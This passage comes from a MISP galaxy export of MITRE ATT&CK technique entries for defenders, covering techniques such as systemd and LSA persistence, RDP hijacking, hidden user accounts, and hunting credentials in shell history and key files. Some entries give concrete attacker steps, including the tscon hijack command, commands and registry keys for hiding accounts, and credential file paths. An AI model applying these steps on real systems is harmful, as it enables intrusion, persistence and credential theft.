While there are many ways this can be accomplished, one method is by using the device's sensors. By utilizing the various motion sensors on a device, such as accelerometer or gyroscope, an application could detect that the device is being interacted with. That way, the application could continue to run while the device is not in use but cease operating while the user is using the device, hiding anything that would indicate malicious activity was ongoing. Accessing the sensors in this way does not require any permissions from the user, so it would be completely transparent.

The tag is: *misp-galaxy:mitre-attack-pattern="User Evasion - T1628.002"*

Table 8748. Table References

Links
https://attack.mitre.org/techniques/T1628/002

Device Lockout - T1629.002

An adversary may seek to inhibit user interaction by locking the legitimate user out of the device. This is typically accomplished by requesting device administrator permissions and then locking the screen using `DevicePolicyManager.lockNow()`. Other novel techniques for locking the user out of the device have been observed, such as showing a persistent overlay, using carefully crafted "call" notification screens, and locking HTML pages in the foreground. These techniques can be very difficult to get around, and typically require booting the device into safe mode to uninstall the malware.(Citation: Microsoft MalLockerB)(Citation: Talos GPlayed)(Citation: securelist rotexy 2018)

Prior to Android 7, device administrators were able to reset the device lock passcode to prevent the user from unlocking the device. The release of Android 7 introduced updates that only allow device or profile owners (e.g. MDMs) to reset the device's passcode.(Citation: Android resetPassword)

The tag is: *misp-galaxy:mitre-attack-pattern="Device Lockout - T1629.002"*

Table 8749. Table References

Links
https://attack.mitre.org/techniques/T1629/002

https://blog.talosintelligence.com/2018/10/gplayedtrojan.html
https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html#resetPassword(java.lang.String,%20int)
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html
https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/
https://www.microsoft.com/security/blog/2020/10/08/sophisticated-new-android-malware-marks-the-latest-evolution-of-mobile-ransomware/

Systemd Service - T1543.002

Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014) Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.

Systemd utilizes unit configuration files with the `.service` file extension to encode information about a service's process. By default, system level unit files are stored in the `/systemd/system` directory of the root owned directories (`/`). User level unit files are stored in the `/systemd/user` directories of the user owned directories (`$HOME`).(Citation: lambert systemd 2022)

Inside the `.service` unit files, the following directives are used to execute commands:(Citation: freedesktop systemd.service)

- `ExecStart`, `ExecStartPre`, and `ExecStartPost` directives execute when a service is started manually by `systemctl` or on system start if the service is set to automatically start.
- `ExecReload` directive executes when a service restarts.
- `ExecStop`, `ExecStopPre`, and `ExecStopPost` directives execute when a service is stopped.

Adversaries have created new service files, altered the commands a `.service` file's directive executes, and modified the user directive a `.service` file executes as, which could result in privilege escalation. Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem.(Citation: Anomali Rocke March 2019)(Citation: airwalk backdoor unix systems)(Citation: Rapid7 Service Persistence 22JUNE2016)

The `.service` file's User directive can be used to run service as a specific user, which could result in privilege escalation based on specific user/group permissions.

Systemd services can be created via systemd generators, which support the dynamic generation of unit files. Systemd generators are small executables that run during boot or configuration reloads to dynamically create or modify systemd unit files by converting non-native configurations into services, symlinks, or drop-ins (i.e., [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037)).(Citation: Elastic Security Labs Linux Persistence 2024)(Citation: Pepe Berba Systemd 2022)

The tag is: *misp-galaxy:mitre-attack-pattern="Systemd Service - T1543.002"*

Table 8750. Table References

Links
http://man7.org/linux/man-pages/man1/systemd.1.html
http://www.ouah.org/backdoors.html
https://attack.mitre.org/techniques/T1543/002
https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/
https://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/
https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/
https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang
https://www.elastic.co/security-labs/primer-on-persistence-mechanisms
https://www.freedesktop.org/software/systemd/man/systemd.service.html
https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence

Code Signing - T1553.002

Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.

Code signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning)

Code signing certificates may be used to bypass security policies that require signed code to execute on a system.

The tag is: *misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002"*

Table 8751. Table References

Links
http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates
https://attack.mitre.org/techniques/T1553/002
https://eclecticlight.co/2020/11/16/checks-on-executable-code-in-catalina-and-big-sur-a-first-draft/

https://en.wikipedia.org/wiki/Code_signing
https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/

Shell History - T1552.003

Adversaries may search the command history on compromised systems for insecurely stored credentials.

On Linux and macOS systems, shells such as Bash and Zsh keep track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user's history file. For each user, this file resides at the same location: for example, `~/.bash_history` or `~/.zsh_history`. Typically, these files keeps track of the user's last 1000 commands.

On Windows, PowerShell has both a command history that is wiped after the session ends, and one that contains commands used in all sessions and is persistent. The default location for persistent history can be found in `%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt`, but command history can also be accessed with `Get-History`. Command Prompt (CMD) on Windows does not have persistent history.(Citation: Microsoft about_History)(Citation: Medium)

Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials.(Citation: External to DA, the OS X Way)

The tag is: *misp-galaxy:mitre-attack-pattern="Shell History - T1552.003"*

Table 8752. Table References

Links
https://attack.mitre.org/techniques/T1552/003
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.5
https://michaelkoczwara.medium.com/windows-privilege-escalation-dbb908cce8d4
https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418

RDP Hijacking - T1563.002

Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)

Adversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\windows\system32\tscon.exe [session number`

to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)

The tag is: *misp-galaxy:mitre-attack-pattern="RDP Hijacking - T1563.002"*

Table 8753. Table References

Links
http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html
https://attack.mitre.org/techniques/T1563/002
https://github.com/nccgroup/redsnarf
https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6
https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx

Asymmetric Cryptography - T1573.002

Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver's public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.

For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).

The tag is: *misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002"*

Table 8754. Table References

Links
http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1573/002
https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html

DNS Server - T1583.002

Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.

By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="DNS Server - T1583.002"*

Table 8755. Table References

Links
https://attack.mitre.org/techniques/T1583/002
https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/

Search Engines - T1593.002

Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)

Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).

The tag is: *misp-galaxy:mitre-attack-pattern="Search Engines - T1593.002"*

Table 8756. Table References

Links
https://attack.mitre.org/techniques/T1593/002
https://www.exploit-db.com/google-hacking-database

https://www.recordedfuture.com/threat-intelligence-101/threat-analysis-techniques/google-dorks

Call Log - T1636.002

Adversaries may utilize standard operating system APIs to gather call log data. On Android, this can be accomplished using the Call Log Content Provider. iOS provides no standard API to access the call log.

If the device has been jailbroken or rooted, an adversary may be able to access the [Call Log](https://attack.mitre.org/techniques/T1636/002) without the user's knowledge or approval.

The tag is: *misp-galaxy:mitre-attack-pattern="Call Log - T1636.002"*

Table 8757. Table References

Links
https://attack.mitre.org/techniques/T1636/002
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html

Trust Modification - T1484.002

Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.

Manipulating these trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, in Microsoft Active Directory (AD) environments, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002) without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert an AD domain to a federated domain using Active Directory Federation Services (AD FS), which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain)

An adversary may also add a new federated identity provider to an identity tenant such as Okta or AWS IAM Identity Center, which may enable the adversary to authenticate as any user of the tenant.(Citation: Okta Cross-Tenant Impersonation 2023) This may enable the threat actor to gain broad access into a variety of cloud-based services that leverage the identity tenant. For example, in AWS environments, an adversary that creates a new identity provider for an AWS Organization will be able to federate into all of the AWS Organization member accounts without creating identities for each of the member accounts.(Citation: AWS RE:Inforce Threat Detection 2024)

The tag is: *misp-galaxy:mitre-attack-pattern="Trust Modification - T1484.002"*

Table 8758. Table References

Links
https://attack.mitre.org/techniques/T1484/002
https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed
https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365
https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml
https://o365blog.com/post/federation-vulnerability/
https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf
https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection
https://us-cert.cisa.gov/ncas/alerts/aa21-008a
https://www.sygnia.co/threat-reports-and-advisories/golden-saml-attack/

TFTP Boot - T1542.005

Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.

Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)

The tag is: *misp-galaxy:mitre-attack-pattern="TFTP Boot - T1542.005"*

Table 8759. Table References

Links
https://attack.mitre.org/techniques/T1542/005
https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
https://tools.cisco.com/security/center/resources/integrity_assurance.html#23

https://tools.cisco.com/security/center/resources/integrity_assurance.html#26
https://tools.cisco.com/security/center/resources/integrity_assurance.html#35
https://tools.cisco.com/security/center/resources/integrity_assurance.html#7

Private Keys - T1552.004

Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc.

Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:\Users\(username)\.ssh\</code> on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)

When a device is registered to Entra ID, a device key and a transport key are generated and used to verify the device's identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)

On network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys)

Some private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.

The tag is: *misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004"*

Table 8760. Table References

Links
https://aadinternals.com/post/deviceidentity/
https://attack.mitre.org/techniques/T1552/004
https://en.wikipedia.org/wiki/Public-key_cryptography
https://learn.microsoft.com/en-us/azure/active-directory/devices/concept-primary-refresh-token
https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/
https://web.archive.org/web/20141031134104/http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/sec_conn_pki/configuration/xe-17/sec-pki-xe-17-book/sec-deploy-rsa-pki.html#GUID-1CB802D8-9DE3-447F-BECE-CF22F5E11436

Hidden Users - T1564.002

Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.

In macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value <code>Hide500Users</code> to <code>TRUE</code> in the <code>/Library/Preferences/com.apple.loginwindow</code> plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the <code>Hide500Users</code> key value is set to <code>TRUE</code>, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the <code>dscl</code> utility to create hidden user accounts by setting the <code>IsHidden</code> attribute to <code>1</code>. Adversaries can also hide a user's home folder by changing the <code>chflags</code> to hidden.(Citation: Apple Support Hide a User Account)

Adversaries may similarly hide user accounts in Windows. Adversaries can set the <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList</code> Registry key value to <code>0</code> for a specific user to prevent that user from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)

On Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the <code>gsettings</code> command (ex: <code>sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true</code>).(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary.

The tag is: *misp-galaxy:mitre-attack-pattern="Hidden Users - T1564.002"*

Table 8761. Table References

Links
https://attack.mitre.org/techniques/T1564/002
https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf
https://support.apple.com/en-us/HT203998
https://ubuntuhandbook.org/index.php/2021/06/hide-user-accounts-ubuntu-20-04-login-screen/
https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html
https://www.us-cert.gov/ncas/alerts/TA18-074A

Authentication Package - T1547.002

Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)

Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\</code> with the key value of <code>"Authentication Packages"=<target binary></code>. The binary will then be executed by the system when the authentication packages are loaded.

The tag is: *misp-galaxy:mitre-attack-pattern="Authentication Package - T1547.002"*

Table 8762. Table References

Links
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
https://attack.mitre.org/techniques/T1547/002
https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx
https://technet.microsoft.com/en-us/library/dn408187.aspx

DNS Server - T1584.002

Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.

By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Alternatively, they may be able to prove ownership of a domain to a SaaS service in order to assert control of the service or create a new administrative [Cloud Account](https://attack.mitre.org/techniques/T1136/003).(Citation: CyberCX SaaS Domain Hijacking 2025) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)

The tag is: *misp-galaxy:mitre-attack-pattern="DNS Server - T1584.002"*

Table 8763. Table References

Links
https://attack.mitre.org/techniques/T1584/002
https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html
https://blogs.cisco.com/security/talos/angler-domain-shadowing
https://cybercx.com.au/blog/keys-to-the-saas-kingdom/
https://www.crowdstrike.com/blog/widespread-dns-hijacking-activity-targets-multiple-sectors/
https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html
https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows

Client Configurations - T1592.004

Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).

The tag is: *misp-galaxy:mitre-attack-pattern="Client Configurations - T1592.004"*

Table 8764. Table References

Links
https://attack.mitre.org/techniques/T1592/004
https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
https://threatconnect.com/blog/infrastructure-research-hunting/

Bandwidth Hijacking - T1496.002

Adversaries may leverage the network bandwidth resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability.

Adversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR) Alternatively, they may engage in proxyjacking by selling use of the victims' network bandwidth and IP address to proxyware services.(Citation: Sysdig Proxyjacking) Finally, they may engage in internet-wide scanning in order to identify additional targets for compromise.(Citation: Unit 42 Leaked Environment Variables 2024)

In addition to incurring potential financial costs or availability disruptions, this technique may cause reputational damage if a victim's bandwidth is used for illegal activities.(Citation: Sysdig Proxyjacking)

The tag is: *misp-galaxy:mitre-attack-pattern="Bandwidth Hijacking - T1496.002"*

Table 8765. Table References

Links
https://attack.mitre.org/techniques/T1496/002
https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/
https://unit42.paloaltonetworks.com/large-scale-cloud-extortion-operation/
https://www.welivesecurity.com/2019/07/08/south-korean-users-backdoor-torrents/

Reflection Amplification - T1498.002

Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.

Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have

been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="Reflection Amplification - T1498.002"*

Table 8766. Table References

Links
https://attack.mitre.org/techniques/T1498/002
https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/
https://blog.cloudflare.com/reflections-on-reflections/
https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/
https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/

Securityd Memory - T1555.002

An adversary with root access may gather credentials by reading `securityd`'s memory. `securityd` is a service/daemon responsible for implementing security protocols such as encryption and authorization.(Citation: Apple Dev SecurityD) A privileged adversary may be able to scan through `securityd's memory to find the correct sequence of keys to decrypt the user's logon keychain. This may provide the adversary with various plaintext passwords, such as those for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware)

In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple's keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) Apple's `securityd` utility takes the user's logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user's password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)

The tag is: *misp-galaxy:mitre-attack-pattern="Securityd Memory - T1555.002"*

Table 8767. Table References

Links
https://attack.mitre.org/techniques/T1555/002
https://developer.apple.com/library/archive/documentation/Security/Conceptual/Security_Overview/Architecture/Architecture.html

https://web.archive.org/web/20130106164109/https://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain
https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/

Container API - T1552.007

Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API)

An adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components.

The tag is: *misp-galaxy:mitre-attack-pattern="Container API - T1552.007"*

Table 8768. Table References

Links
https://attack.mitre.org/techniques/T1552/007
https://docs.docker.com/engine/api/v1.41/
https://kubernetes.io/docs/concepts/overview/kubernetes-api/
https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/

Email Accounts - T1585.002

Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Establishing email accounts may also allow adversaries to abuse free services – such as trial periods – to [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) for follow-on purposes.(Citation: Free Trial PurpleUrchin)

Adversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1)

To decrease the chance of physically tying back operations to themselves, adversaries may make

use of disposable email services.(Citation: Trend Micro R980 2016)

The tag is: *misp-galaxy:mitre-attack-pattern="Email Accounts - T1585.002"*

Table 8769. Table References

Links
https://attack.mitre.org/techniques/T1585/002
https://blog.trendmicro.com/trendlabs-security-intelligence/r980-ransomware-disposable-email-service/
https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Chat Messages - T1552.008

Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels.

Rather than accessing the stored chat logs (i.e., [Credentials In Files](https://attack.mitre.org/techniques/T1552/001)), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation (Citation: Slack Security Risks).

The tag is: *misp-galaxy:mitre-attack-pattern="Chat Messages - T1552.008"*

Table 8770. Table References

Links
https://attack.mitre.org/techniques/T1552/008
https://www.nightfall.ai/blog/saas-slack-security-risks-2020

